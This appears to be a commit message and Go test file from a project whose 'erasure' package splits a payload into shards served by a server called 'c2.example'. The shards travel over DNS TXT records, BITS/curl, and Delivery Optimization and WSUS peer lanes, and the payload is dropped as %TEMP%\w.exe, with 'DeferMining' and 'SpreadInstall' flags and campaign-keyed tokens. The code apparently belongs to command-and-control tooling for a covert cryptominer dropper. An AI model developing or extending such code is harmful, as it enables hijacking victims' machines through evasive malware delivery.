Close test-gap noise rows and sync coverage documentation.

Restore P1/P2/fleet/erasure COVERED rows in PROBLEMS.md with refreshed counts; drop fixed poll-duplication and Vitest-noise items. Silence ECONNREFUSED stderr in Vitest setup, alias download mock exports, and expand erasure/Path Tracer test coverage.

server/internal/erasure/lanes_test.go

@@ -0,0 +1,79 @@
+package erasure
+
+import (
+	"strings"
+	"testing"
+)
+
+func TestBuildPlanParallelLaneURLs(t *testing.T) {
+	store := NewShardStore()
+	plan, err := BuildPlan(store, "http://c2.example:8989/", "build-a", "camp-b", []byte("lane-url-payload"), `%TEMP%\w.exe`, "exe", "", true, true)
+	if err != nil {
+		t.Fatal(err)
+	}
+	wantLanes := []string{"dns_txt", "bits_curl", "do_peer", "wsus_cache_peer", "dns_txt", "bits_curl"}
+	if len(plan.Shards) != len(wantLanes) {
+		t.Fatalf("shards=%d", len(plan.Shards))
+	}
+	for i, ref := range plan.Shards {
+		if ref.Index != i || ref.Lane != wantLanes[i] {
+			t.Fatalf("shard[%d]=%+v want lane %q", i, ref, wantLanes[i])
+		}
+		wantURL := "http://c2.example:8989/api/v1/public/erasure-shard/" + plan.ShardToken + "/" + itoa(i)
+		if ref.URL != wantURL {
+			t.Fatalf("url=%q want %q", ref.URL, wantURL)
+		}
+	}
+	if !plan.Enabled || plan.Scheme != SchemeReedSolomonV1 {
+		t.Fatalf("plan=%+v", plan)
+	}
+	if !plan.DeferMining || !plan.SpreadInstall {
+		t.Fatalf("flags defer=%v spread=%v", plan.DeferMining, plan.SpreadInstall)
+	}
+}
+
+func TestBuildPlanDefaultsServerURL(t *testing.T) {
+	store := NewShardStore()
+	plan, err := BuildPlan(store, "  ", "b1", "", []byte("payload"), "dest", "exe", "", false, false)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(plan.Shards) == 0 || !strings.HasPrefix(plan.Shards[0].URL, "http://127.0.0.1:8989/") {
+		t.Fatalf("default base url missing: %+v", plan.Shards[0])
+	}
+}
+
+func TestBuildPlanNilStore(t *testing.T) {
+	if _, err := BuildPlan(nil, "http://x", "b", "", []byte("x"), "", "", "", false, false); err == nil {
+		t.Fatal("expected error for nil store")
+	}
+}
+
+func TestPlanTokenDeterministic(t *testing.T) {
+	payload := []byte("token-determinism")
+	a := planToken("build-1", "camp-1", payload)
+	b := planToken("build-1", "camp-1", payload)
+	if a != b || len(a) != 16 {
+		t.Fatalf("token=%q len=%d", a, len(a))
+	}
+	if planToken("build-1", "camp-2", payload) == a {
+		t.Fatal("campaign should change token")
+	}
+	if planToken("build-2", "camp-1", payload) == a {
+		t.Fatal("build id should change token")
+	}
+}
+
+func itoa(n int) string {
+	if n == 0 {
+		return "0"
+	}
+	var b [4]byte
+	i := len(b)
+	for n > 0 {
+		i--
+		b[i] = byte('0' + n%10)
+		n /= 10
+	}
+	return string(b[i:])
+}